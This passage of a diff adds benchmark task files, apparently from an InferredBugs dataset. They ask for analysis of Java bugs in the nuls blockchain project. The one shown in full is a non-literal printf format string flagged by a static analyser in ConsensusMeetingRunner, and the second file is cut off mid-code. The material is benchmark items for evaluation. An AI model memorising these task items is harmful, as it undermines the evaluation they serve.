+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3976/instruction.md b/inferredbugs-3976/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..49ee86d06cfe845a84e6490770c092ca41d3371c
--- /dev/null
+++ b/inferredbugs-3976/instruction.md
@@ -0,0 +1,593 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nuls
+**Bug ID:** 92
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MIT License
+ **
+ * Copyright (c) 2017-2018 nuls.io
+ **
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ **
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ **
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package io.nuls.consensus.thread;
+
+import io.nuls.account.entity.Account;
+import io.nuls.account.entity.Address;
+import io.nuls.account.service.intf.AccountService;
+import io.nuls.consensus.cache.manager.member.ConsensusCacheManager;
+import io.nuls.consensus.cache.manager.tx.ConfirmingTxCacheManager;
+import io.nuls.consensus.cache.manager.tx.OrphanTxCacheManager;
+import io.nuls.consensus.cache.manager.tx.ReceivedTxCacheManager;
+import io.nuls.consensus.constant.DownloadStatus;
+import io.nuls.consensus.constant.MaintenanceStatus;
+import io.nuls.consensus.constant.PocConsensusConstant;
+import io.nuls.consensus.download.DownloadProcessor;
+import io.nuls.consensus.download.NetworkNewestBlockInfos;
+import io.nuls.consensus.entity.RedPunishData;
+import io.nuls.consensus.entity.block.BlockData;
+import io.nuls.consensus.entity.block.BlockRoundData;
+import io.nuls.consensus.entity.meeting.PocMeetingMember;
+import io.nuls.consensus.entity.meeting.PocMeetingRound;
+import io.nuls.consensus.entity.tx.RedPunishTransaction;
+import io.nuls.consensus.entity.tx.YellowPunishTransaction;
+import io.nuls.consensus.event.SmallBlockEvent;
+import io.nuls.consensus.event.notice.PackedBlockNotice;
+import io.nuls.consensus.manager.BlockManager;
+import io.nuls.consensus.manager.ConsensusManager;
+import io.nuls.consensus.manager.RoundManager;
+import io.nuls.consensus.service.intf.BlockService;
+import io.nuls.consensus.service.intf.DownloadService;
+import io.nuls.consensus.utils.ConsensusTool;
+import io.nuls.consensus.utils.TxTimeComparator;
+import io.nuls.core.chain.entity.*;
+import io.nuls.core.constant.TransactionConstant;
+import io.nuls.core.context.NulsContext;
+import io.nuls.core.exception.NulsException;
+import io.nuls.core.utils.date.DateUtil;
+import io.nuls.core.utils.date.TimeService;
+import io.nuls.core.utils.log.BlockLog;
+import io.nuls.core.utils.log.ConsensusLog;
+import io.nuls.core.utils.log.Log;
+import io.nuls.core.validate.ValidateResult;
+import io.nuls.event.bus.service.intf.EventBroadcaster;
+import io.nuls.ledger.entity.tx.CoinBaseTransaction;
+import io.nuls.ledger.service.intf.LedgerService;
+import io.nuls.network.entity.Node;
+import io.nuls.network.service.NetworkService;
+
+import java.io.IOException;
+import java.util.*;
+
+/**
+ * @author Niels
+ * @date 2017/12/15
+ */
+public class ConsensusMeetingRunner implements Runnable {
+    public static final String THREAD_NAME = "Consensus-Meeting";
+    private static final ConsensusMeetingRunner INSTANCE = new ConsensusMeetingRunner();
+    private AccountService accountService = NulsContext.getServiceBean(AccountService.class);
+    private LedgerService ledgerService = NulsContext.getServiceBean(LedgerService.class);
+    private BlockManager blockManager = BlockManager.getInstance();
+    private BlockService blockService = NulsContext.getServiceBean(BlockService.class);
+    private NetworkService networkService = NulsContext.getServiceBean(NetworkService.class);
+
+    private DownloadService downloadService = NulsContext.getServiceBean(DownloadService.class);
+
+    private ReceivedTxCacheManager txCacheManager = ReceivedTxCacheManager.getInstance();
+    private OrphanTxCacheManager orphanTxCacheManager = OrphanTxCacheManager.getInstance();
+    private EventBroadcaster eventBroadcaster = NulsContext.getServiceBean(EventBroadcaster.class);
+    private boolean hasPacking = false;
+    private ConsensusManager consensusManager = ConsensusManager.getInstance();
+    private RoundManager packingRoundManager = RoundManager.getInstance();
+    private ConfirmingTxCacheManager confirmingTxCacheManager = ConfirmingTxCacheManager.getInstance();
+    private static Map<Long, RedPunishData> punishMap = new HashMap<>();
+
+    private boolean hasInit;
+
+    private ConsensusMeetingRunner() {
+    }
+
+    public static ConsensusMeetingRunner getInstance() {
+        return INSTANCE;
+    }
+
+    public static void putPunishData(RedPunishData redPunishData) {
+        punishMap.put(redPunishData.getHeight(), redPunishData);
+    }
+
+    @Override
+    public void run() {
+
+        try {
+            //wait the network synchronize complete and wait MeetingRound ready.
+            waitReady();
+
+            doWork();
+        } catch (Exception e) {
+            Log.error(e);
+        }
+    }
+
+    private void doWork() {
+
+        PocMeetingRound round = packingRoundManager.getCurrentRound();
+
+        //check current round is end
+        if (null == round || round.getEndTime() < TimeService.currentTimeMillis()) {
+            resetCurrentMeetingRound();
+            return;
+        }
+
+        //current is legal work
+        if (!checkIsLegal()) {
+            return;
+        }
+
+        //check i am is a consensus node
+        Account myAccount = round.getLocalPacker();
+        if (myAccount == null) {
+            return;
+        }
+        PocMeetingMember member = round.getMember(myAccount.getAddress().getBase58());
+        if (!hasPacking && member.getPackStartTime() <= TimeService.currentTimeMillis()) {
+            packing(member, round);
+            hasPacking = true;
+        }
+
+    }
+
+    public void resetConsensus() {
+        ConsensusLog.info("重置共识");
+        initRound();
+        hasInit = false;
+    }
+
+    private void packing(PocMeetingMember self, PocMeetingRound round) {
+        try {
+            boolean needCheckAgain = waitReceiveNewestBlock(self, round);
+            Block newBlock = doPacking(self, round);
+            if (needCheckAgain && hasReceiveNewestBlock(self, round)) {
+                Block realBestBlock = blockManager.getBlock(newBlock.getHeader().getHeight());
+                List<NulsDigestData> txHashList = realBestBlock.getTxHashList();
+                for (Transaction transaction : newBlock.getTxs()) {
+                    if (transaction.getType() == TransactionConstant.TX_TYPE_COIN_BASE || transaction.getType() == TransactionConstant.TX_TYPE_YELLOW_PUNISH || transaction.getType() == TransactionConstant.TX_TYPE_RED_PUNISH) {
+                        continue;
+                    }
+                    if (txHashList.contains(transaction.getHash())) {
+                        continue;
+                    }
+                    orphanTxCacheManager.putTx(transaction);
+                }
+                newBlock = doPacking(self, round);
+            }
+            if (null == newBlock) {
+                return;
+            }
+            BlockLog.debug("produce block height:" + newBlock.getHeader().getHeight() + ", preHash:" + newBlock.getHeader().getPreHash() + " , hash:" + newBlock.getHeader().getHash() + ", address:" + Address.fromHashs(newBlock.getHeader().getPackingAddress()));
+            broadcastSmallBlock(newBlock);
+
+        } catch (NulsException e) {
+            Log.error(e);
+        } catch (IOException e) {
+            Log.error(e);
+        }
+    }
+
+    private boolean waitReceiveNewestBlock(PocMeetingMember self, PocMeetingRound round) {
+
+        long time = TimeService.currentTimeMillis();
+        long timeout = PocConsensusConstant.BLOCK_TIME_INTERVAL_SECOND * 1000 / 2;
+
+        boolean hasReceiveNewestBlock = false;
+
+        try {
+            while (!hasReceiveNewestBlock) {
+                hasReceiveNewestBlock = hasReceiveNewestBlock(self, round);
+                if (hasReceiveNewestBlock) {
+                    long sleepTime = time + timeout - TimeService.currentTimeMillis();
+                    if (sleepTime > 0) {
+                        Thread.sleep(sleepTime);
+                    }
+                    break;
+                }
+                Thread.sleep(500L);
+                if (TimeService.currentTimeMillis() - time >= timeout) {
+                    break;
+                }
+            }
+        } catch (InterruptedException e) {
+            Log.error(e);
+        }
+
+        return !hasReceiveNewestBlock;
+    }
+
+    private boolean hasReceiveNewestBlock(PocMeetingMember self, PocMeetingRound round) {
+        Block bestBlock = this.blockService.getBestBlock();
+        String packingAddress = Address.fromHashs(bestBlock.getHeader().getPackingAddress()).getBase58();
+
+        int thisIndex = self.getPackingIndexOfRound();
+
+        String preBlockPackingAddress = null;
+
+        if (thisIndex == 1) {
+            PocMeetingRound preRound = round.getPreRound();
+            if (preRound == null) {
+                //FIXME
+                return true;
+            }
+            preBlockPackingAddress = preRound.getMember(preRound.getMemberCount()).getPackingAddress();
+        } else {
+            preBlockPackingAddress = round.getMember(self.getPackingIndexOfRound()).getPackingAddress();
+        }
+
+        if (packingAddress.equals(preBlockPackingAddress)) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    private void broadcastSmallBlock(Block block) {
+        confirmingTxCacheManager.putTx(block.getTxs().get(0));
+        blockManager.addBlock(block, false, null);
+        SmallBlockEvent event = new SmallBlockEvent();
+        SmallBlock smallBlock = new SmallBlock();
+        smallBlock.setHeader(block.getHeader());
+        List<NulsDigestData> txHashList = new ArrayList<>();
+        for (Transaction tx : block.getTxs()) {
+            txHashList.add(tx.getHash());
+            if (tx.getType() == TransactionConstant.TX_TYPE_COIN_BASE ||
+                    tx.getType() == TransactionConstant.TX_TYPE_YELLOW_PUNISH ||
+                    tx.getType() == TransactionConstant.TX_TYPE_RED_PUNISH) {
+                smallBlock.addConsensusTx(tx);
+            }
+        }
+        smallBlock.setTxHashList(txHashList);
+
+        event.setEventBody(smallBlock);
+        List<String> nodeIdList = eventBroadcaster.broadcastAndCache(event, false);
+        for (String nodeId : nodeIdList) {
+            BlockLog.debug("send block height:" + block.getHeader().getHeight() + ", node:" + nodeId);
+        }
+        PackedBlockNotice notice = new PackedBlockNotice();
+        notice.setEventBody(block.getHeader());
+        eventBroadcaster.publishToLocal(notice);
+    }
+
+    private boolean checkIsLegal() {
+        if (!consensusManager.isPartakePacking()) {
+            return false;
+        }
+        Collection<Node> nodes = networkService.getAvailableNodes();
+        if (nodes == null || nodes.size() == 0 || nodes.size() < PocConsensusConstant.ALIVE_MIN_NODE_COUNT) {
+            return false;
+        }
+        if (!isNetworkSynchronizeComplete()) {
+            return false;
+        }
+        return true;
+//        NetworkNewestBlockInfos infos = DownloadProcessor.getInstance().getNetworkNewestBlock();
+//        Block bestBlock = blockService.getBestBlock();
+//        return infos.getNetBestHeight()<= bestBlock.getHeader().getHeight();
+    }
+
+    private void waitReady() {
+
+        while (!isNetworkSynchronizeComplete()) {
+            try {
+                Thread.sleep(1000L);
+            } catch (InterruptedException e) {
+                Log.error(e);
+            }
+        }
+
+        if(!hasInit) {
+            initRound();
+            hasInit = true;
+        }
+    }
+
+    private void initRound() {
+
+        ConsensusLog.info("初始化共识");
+
+        packingRoundManager.clear();
+        packingRoundManager.init();
+
+        ConsensusCacheManager consensusCacheManager = ConsensusCacheManager.getInstance();
+        consensusCacheManager.clear();
+        consensusCacheManager.init();
+
+        //read create new meeting round
+        resetCurrentMeetingRound();
+    }
+
+    //network synchronize status
+    private boolean isNetworkSynchronizeComplete() {
+        return downloadService.getStatus() == DownloadStatus.SUCCESS;
+    }
+
+    private void resetCurrentMeetingRound() {
+
+
+
+
+        //TODO check
+        hasPacking = false;
+        packingRoundManager.resetCurrentMeetingRound();
+        PocMeetingRound round = packingRoundManager.getCurrentRound();
+
+        List<PocMeetingMember> list = round.getMemberList();
+
+        StringBuilder sb = new StringBuilder();
+
+        for (PocMeetingMember member : list) {
+            sb.append("agent: " + member.getAgentAddress() + "\n");
+            sb.append("packer: " + member.getPackingAddress() + "\n");
+            sb.append("index: " + member.getPackingIndexOfRound() + "\n");
+            sb.append("startTime: " + DateUtil.convertDate(new Date(member.getPackStartTime())) + "\n");
+        }
+
+        ConsensusLog.info("重新计算共识轮次，当前轮次 {} , 人数 {} , 开始时间 {} , 结束时间 {} , 打包者列表 :\n {}", round.getIndex(), round.getMemberCount(), DateUtil.convertDate(new Date(round.getStartTime())), DateUtil.convertDate(new Date(round.getEndTime())), sb.toString());
+
+        if (round != null) {
+            long myTime = 0;
+
+            Account myAccount = round.getLocalPacker();
+            if (myAccount != null) {
+
+                PocMeetingMember member = round.getMember(myAccount.getAddress().getBase58());
+                myTime = member.getPackStartTime();
+
+                ConsensusLog.info("我的打包时间 {}", DateUtil.convertDate(new Date(myTime)));
+            }
+
+            System.out.println("meeting round reset , now time : " + DateUtil.convertDate(new Date(TimeService.currentTimeMillis()))
+                    + " , round end time : " + DateUtil.convertDate(new Date(round.getEndTime())) + " , my time is :" + DateUtil.convertDate(new Date(myTime)));
+            System.out.println("======================================");
+
+        }
+    }
+
+    private Block doPacking(PocMeetingMember self, PocMeetingRound round) throws NulsException, IOException {
+
+        Block bestBlock = this.blockService.getBestBlock();
+        List<Transaction> allTxList = txCacheManager.getTxList();
+        allTxList.sort(TxTimeComparator.getInstance());
+        BlockData bd = new BlockData();
+        bd.setHeight(bestBlock.getHeader().getHeight() + 1);
+        bd.setPreHash(bestBlock.getHeader().getHash());
+        BlockRoundData roundData = new BlockRoundData();
+        roundData.setRoundIndex(round.getIndex());
+        roundData.setConsensusMemberCount(round.getMemberCount());
+        roundData.setPackingIndexOfRound(self.getPackingIndexOfRound());
+        roundData.setRoundStartTime(round.getStartTime());
+        StringBuilder str = new StringBuilder();
+        str.append(self.getPackingAddress());
+        str.append(" ,order:" + self.getPackingIndexOfRound());
+        str.append(",packTime:" + new Date(self.getPackEndTime()));
+        str.append("\n");
+        BlockLog.debug("pack round:" + str);
+
+
+        bd.setRoundData(roundData);
+        List<Integer> outTxList = new ArrayList<>();
+        List<Transaction> packingTxList = new ArrayList<>();
+        List<NulsDigestData> outHashList = new ArrayList<>();
+        long totalSize = 0L;
+        for (int i = 0; i < allTxList.size(); i++) {
+            if ((self.getPackEndTime() - TimeService.currentTimeMillis()) <= 500L) {
+                break;
+            }
+            Transaction tx = allTxList.get(i);
+            tx.setBlockHeight(bd.getHeight());
+            if ((totalSize + tx.size()) >= PocConsensusConstant.MAX_BLOCK_SIZE) {
+                break;
+            }
+            outHashList.add(tx.getHash());
+            ValidateResult result = tx.verify();
+            if (result.isFailed()) {
+                Log.error(result.getMessage());
+                outTxList.add(i);
+                continue;
+            }
+            try {
+                ledgerService.approvalTx(tx);
+            } catch (Exception e) {
+                Log.error(e);
+                outTxList.add(i);
+                continue;
+            }
+            packingTxList.add(tx);
+            totalSize += tx.size();
+            confirmingTxCacheManager.putTx(tx);
+
+        }
+        txCacheManager.removeTx(outHashList);
+        if (totalSize < PocConsensusConstant.MAX_BLOCK_SIZE) {
+            addOrphanTx(packingTxList, totalSize, self,bd.getHeight());
+        }
+        addConsensusTx(bestBlock, packingTxList, self, round);
+        bd.setTxList(packingTxList);
+        Log.info("txCount:" + packingTxList.size());
+        Block newBlock = ConsensusTool.createBlock(bd, round.getLocalPacker());
+        System.out.printf("========height:" + newBlock.getHeader().getHeight() + ",time:" + DateUtil.convertDate(new Date(newBlock.getHeader().getTime())) + ",packEndTime:" +
+                DateUtil.convertDate(new Date(self.getPackEndTime())));
+        ValidateResult result = newBlock.verify();
+        if (result.isFailed()) {
+            Log.warn("packing block error:" + result.getMessage());
+            for (Transaction tx : newBlock.getTxs()) {
+                ledgerService.rollbackTx(tx);
+            }
+            return null;
+        }
+        return newBlock;
+    }
+
+    private void addOrphanTx(List<Transaction> txList, long totalSize, PocMeetingMember self,long blockHeight) {
+        if ((self.getPackEndTime() - TimeService.currentTimeMillis()) <= 100) {
+            return;
+        }
+        List<Transaction> orphanTxList = orphanTxCacheManager.getTxList();
+        if (null == orphanTxList || orphanTxList.isEmpty()) {
+            return;
+        }
+        List<NulsDigestData> outHashList = new ArrayList<>();
+        orphanTxList.sort(TxTimeComparator.getInstance());
+        for (Transaction tx : orphanTxList) {
+            tx.setBlockHeight(blockHeight);
+            if ((totalSize + tx.size()) >= PocConsensusConstant.MAX_BLOCK_SIZE) {
+                break;
+            }
+            if ((self.getPackEndTime() - TimeService.currentTimeMillis()) <= 100) {
+                break;
+            }
+            ValidateResult result = tx.verify();
+            if (result.isFailed()) {
+                continue;
+            }
+            try {
+                ledgerService.approvalTx(tx);
+            } catch (Exception e) {
+                Log.error(result.getMessage());
+                Log.error(e);
+                continue;
+            }
+            confirmingTxCacheManager.putTx(tx);
+            txList.add(tx);
+            totalSize += tx.size();
+            outHashList.add(tx.getHash());
+        }
+        orphanTxCacheManager.removeTx(outHashList);
+    }
+
+
+    /**
+     * CoinBase transaction & Punish transaction
+     *
+     * @param bestBlock local highest block
+     * @param txList    all tx of block
+     * @param self      agent meeting data
+     */
+    private void addConsensusTx(Block bestBlock, List<Transaction> txList, PocMeetingMember self, PocMeetingRound round) throws NulsException, IOException {
+        punishTx(bestBlock, txList, self, round);
+        CoinBaseTransaction coinBaseTransaction = ConsensusTool.createCoinBaseTx(self, txList, round);
+//        coinBaseTransaction.setScriptSig(accountService.createP2PKHScriptSigFromDigest(coinBaseTransaction.getHash(), round.getLocalPacker(), NulsContext.getCachedPasswordOfWallet()).serialize());
+        txList.add(0, coinBaseTransaction);
+    }
+
+
+    private void punishTx(Block bestBlock, List<Transaction> txList, PocMeetingMember self, PocMeetingRound round) throws NulsException, IOException {
+        redPunishTx(bestBlock, txList, round);
+        YellowPunishTransaction yellowPunishTransaction = ConsensusTool.createYellowPunishTx(bestBlock, self, round);
+        if (null != yellowPunishTransaction) {
+            txList.add(yellowPunishTransaction);
+        }
+    }
+
+    private void redPunishTx(Block bestBlock, List<Transaction> txList, PocMeetingRound round) throws NulsException, IOException {
+        //todo check it
+        for (long height : punishMap.keySet()) {
+            RedPunishData data = punishMap.get(height);
+            punishMap.remove(height);
+            if (data.getHeight() < (bestBlock.getHeader().getHeight() + 1)) {
+                continue;
+            }
+            RedPunishTransaction tx = new RedPunishTransaction();
+            tx.setTxData(data);
+            tx.setTime(TimeService.currentTimeMillis());
+            tx.setFee(Na.ZERO);
+            tx.setHash(NulsDigestData.calcDigestData(tx));
+            tx.setScriptSig(accountService.createP2PKHScriptSigFromDigest(tx.getHash(), round.getLocalPacker(), NulsContext.getCachedPasswordOfWallet()).serialize());
+            txList.add(tx);
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+CHECKERS_PRINTF_ARGS
+
+### Qualifier:
+Format string must be string literal.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Block ConsensusMeetingRunner.doPacking(PocMeetingMember,PocMeetingRound)
+
+### Procedure Id:
+io.nuls.consensus.thread.ConsensusMeetingRunner.doPacking(io.nuls.consensus.entity.meeting.PocMeetin.5cbf13b8bf8c66a549d3a0ee91da10e1
+
+### File:
+consensus-impl/src/main/java/io/nuls/consensus/thread/ConsensusMeetingRunner.java
+
+### Key:
+ConsensusMeetingRunner.java|doPacking|CHECKERS_PRINTF_ARGS
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+3246b9602727f0632cf62629d4632442
+
+### Bug Type Hum:
+Checkers Printf Args
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3978/instruction.md b/inferredbugs-3978/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2abb52c9a35cd702305418cc4854f976cba713a0
--- /dev/null
+++ b/inferredbugs-3978/instruction.md
@@ -0,0 +1,901 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** nuls
+**Bug ID:** 104
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MIT License
+ * *
+ * Copyright (c) 2017-2018 nuls.io
+ * *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * *
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ * *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package io.nuls.ledger.service.impl;
+
+import io.nuls.core.constant.ErrorCode;
+import io.nuls.core.dto.Page;
+import io.nuls.core.exception.NulsException;
+import io.nuls.core.exception.NulsRuntimeException;
+import io.nuls.core.model.Result;
+import io.nuls.core.utils.date.TimeService;
+import io.nuls.core.utils.log.BlockLog;
+import io.nuls.core.utils.log.Log;
+import io.nuls.core.utils.param.AssertUtil;
+import io.nuls.core.utils.spring.lite.annotation.Autowired;
+import io.nuls.core.utils.str.StringUtils;
+import io.nuls.core.validate.ValidateResult;
+import io.nuls.db.dao.*;
+import io.nuls.db.entity.*;
+import io.nuls.db.transactional.annotation.DbSession;
+import io.nuls.event.bus.service.intf.EventBroadcaster;
+import io.nuls.ledger.constant.LedgerConstant;
+import io.nuls.ledger.entity.*;
+import io.nuls.ledger.entity.params.Coin;
+import io.nuls.ledger.entity.params.CoinTransferData;
+import io.nuls.ledger.entity.params.OperationType;
+import io.nuls.ledger.entity.tx.AbstractCoinTransaction;
+import io.nuls.ledger.entity.tx.LockNulsTransaction;
+import io.nuls.ledger.entity.tx.TransferTransaction;
+import io.nuls.ledger.service.intf.LedgerService;
+import io.nuls.ledger.util.UtxoTransactionTool;
+import io.nuls.ledger.util.UtxoTransferTool;
+import io.nuls.protocol.constant.TransactionConstant;
+import io.nuls.protocol.constant.TxStatusEnum;
+import io.nuls.protocol.context.NulsContext;
+import io.nuls.protocol.event.TransactionEvent;
+import io.nuls.protocol.model.Block;
+import io.nuls.protocol.model.Na;
+import io.nuls.protocol.model.NulsDigestData;
+import io.nuls.protocol.model.Transaction;
+import io.nuls.protocol.service.intf.TransactionService;
+import io.nuls.protocol.utils.TransactionManager;
+
+import java.io.IOException;
+import java.util.*;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * @author Niels
+ * @date 2017/11/13
+ */
+public class UtxoLedgerServiceImpl implements LedgerService {
+
+    @Autowired
+    private TransactionDataService txDao;
+    @Autowired
+    TransactionLocalDataService localTxDao;
+    @Autowired
+    private UtxoInputDataService inputDataService;
+    @Autowired
+    private UtxoOutputDataService outputDataService;
+    @Autowired
+    private EventBroadcaster eventBroadcaster;
+    @Autowired
+    private BlockHeaderService blockHeaderDao;
+    @Autowired
+    private TxAccountRelationDataService relationDataService;
+
+    private LedgerCacheService ledgerCacheService = LedgerCacheService.getInstance();
+
+    private Lock lock = new ReentrantLock();
+
+    @Override
+    public Transaction getTx(NulsDigestData hash) {
+        TransactionLocalPo localPo = localTxDao.get(hash.getDigestHex());
+        if (localPo != null) {
+            try {
+                Transaction tx = UtxoTransferTool.toTransaction(localPo);
+                return tx;
+            } catch (Exception e) {
+                Log.error(e);
+            }
+        }
+        TransactionPo po = txDao.get(hash.getDigestHex());
+        if (null == po) {
+            return null;
+        }
+        try {
+            Transaction tx = UtxoTransferTool.toTransaction(po);
+            return tx;
+        } catch (Exception e) {
+            Log.error(e);
+        }
+        return null;
+    }
+
+    @Override
+    public Transaction getTx(String fromHash, int fromIndex) {
+        UtxoInputPo inputPo = inputDataService.getByFromHash(fromHash, fromIndex);
+        if (inputPo == null) {
+            return null;
+        }
+        TransactionPo po = txDao.get(inputPo.getTxHash());
+        try {
+            return UtxoTransferTool.toTransaction(po);
+        } catch (Exception e) {
+            Log.error(e);
+        }
+        return null;
+    }
+
+    @Override
+    public List<Transaction> getTxList(String address, int txType) throws Exception {
+        if (StringUtils.isBlank(address) && txType == 0) {
+            throw new NulsRuntimeException(ErrorCode.PARAMETER_ERROR);
+        }
+        List<Transaction> txList = new ArrayList<>();
+
+        if (StringUtils.isNotBlank(address) && NulsContext.LOCAL_ADDRESS_LIST.contains(address)) {
+            List<TransactionLocalPo> poList = localTxDao.getTxs(null, address, txType, 0, 0);
+            for (TransactionLocalPo po : poList) {
+                txList.add(UtxoTransferTool.toTransaction(po));
+            }
+        } else {
+            List<TransactionPo> poList = txDao.getTxs(null, address, txType, 0, 0);
+            for (TransactionPo po : poList) {
+                txList.add(UtxoTransferTool.toTransaction(po));
+            }
+        }
+        return txList;
+    }
+
+    @Override
+    public long getTxCount(Long blockHeight, String address, int txType) throws Exception {
+        long count = 0;
+        boolean isLocal = NulsContext.LOCAL_ADDRESS_LIST.contains(address);
+        if (isLocal) {
+            count = localTxDao.getTxsCount(blockHeight, address, txType);
+        } else {
+            count = txDao.getTxsCount(blockHeight, address, txType);
+        }
+        return count;
+    }
+
+    @Override
+    public List<Transaction> getTxList(Long blockHeight, String address, int txType, int pageNumber, int pageSize) throws Exception {
+        List<Transaction> txList = null;
+        if (StringUtils.isNotBlank(address) && NulsContext.LOCAL_ADDRESS_LIST.contains(address)) {
+            txList = getLocalTxList(blockHeight, address, txType, pageNumber, pageSize);
+        } else {
+            txList = new ArrayList<>();
+            List<TransactionPo> poList;
+            poList = txDao.getTxs(blockHeight, address, txType, pageNumber, pageSize);
+            for (TransactionPo po : poList) {
+                txList.add(UtxoTransferTool.toTransaction(po));
+            }
+        }
+        return txList;
+    }
+
+    public List<Transaction> getLocalTxList(Long blockHeight, String address, int txType, int pageNumber, int pageSize) throws Exception {
+        List<Transaction> txList = new ArrayList<>();
+        List<TransactionLocalPo> poList = localTxDao.getTxs(blockHeight, address, txType, pageNumber, pageSize);
+        for (TransactionLocalPo po : poList) {
+            txList.add(UtxoTransferTool.toTransaction(po));
+        }
+
+        List<Transaction> localTx = getWaitingTxList();
+        Map<String, UtxoOutput> outputMap = new HashMap<>();
+        for (Transaction tx : localTx) {
+            AbstractCoinTransaction transaction = (AbstractCoinTransaction) tx;
+            UtxoData utxoData = (UtxoData) transaction.getCoinData();
+
+            for (UtxoOutput output : utxoData.getOutputs()) {
+                outputMap.put(output.getKey(), output);
+            }
+        }
+        for (Transaction tx : txList) {
+            if (!(tx instanceof AbstractCoinTransaction)) {
+                continue;
+            }
+            AbstractCoinTransaction transaction = (AbstractCoinTransaction) tx;
+            UtxoData utxoData = (UtxoData) transaction.getCoinData();
+            for (UtxoInput input : utxoData.getInputs()) {
+                if (input.getFrom() == null) {
+                    if (outputMap.containsKey(input.getKey())) {
+                        input.setFrom(outputMap.get(input.getKey()));
+                    }
+                }
+            }
+        }
+        return txList;
+    }
+
+    @Override
+    public List<Transaction> getTxList(String blockHash) throws Exception {
+        List<Transaction> txList = new ArrayList<>();
+        BlockHeaderPo header = blockHeaderDao.getHeader(blockHash);
+        if (header == null) {
+            return txList;
+        }
+        List<TransactionPo> poList = txDao.getTxs(header.getHeight());
+        if (null == poList || poList.isEmpty()) {
+            return txList;
+        }
+        for (TransactionPo po : poList) {
+            txList.add(UtxoTransferTool.toTransaction(po));
+        }
+        return txList;
+    }
+
+    @Override
+    public List<Transaction> getTxList(long startHeight, long endHeight) throws Exception {
+        List<Transaction> txList = new ArrayList<>();
+        List<TransactionPo> poList = txDao.getTxs(startHeight, endHeight);
+        for (TransactionPo po : poList) {
+            txList.add(UtxoTransferTool.toTransaction(po));
+        }
+        return txList;
+    }
+
+    @Override
+    public List<Transaction> getTxList(long height) throws Exception {
+        List<Transaction> txList = new ArrayList<>();
+        List<TransactionPo> poList = txDao.getTxs(height);
+        for (TransactionPo po : poList) {
+            txList.add(UtxoTransferTool.toTransaction(po));
+        }
+        return txList;
+    }
+
+    @Override
+    public Page<Transaction> getTxList(Long height, int type, int pageNum, int pageSize) throws Exception {
+        Page<TransactionPo> poPage = txDao.getTxs(height, type, pageNum, pageSize);
+        Page<Transaction> txPage = new Page<>(poPage);
+        List<Transaction> txList = new ArrayList<>();
+        for (TransactionPo po : poPage.getList()) {
+            txList.add(UtxoTransferTool.toTransaction(po));
+        }
+        txPage.setList(txList);
+        return txPage;
+    }
+
+    @Override
+    public Balance getBalance(String address) {
+        Balance balance = ledgerCacheService.getBalance(address);
+        if (balance == null) {
+            return null;
+        }
+        long usable = 0;
+        long locked = 0;
+
+        List<UtxoOutput> unSpends = ledgerCacheService.getUnSpends(address);
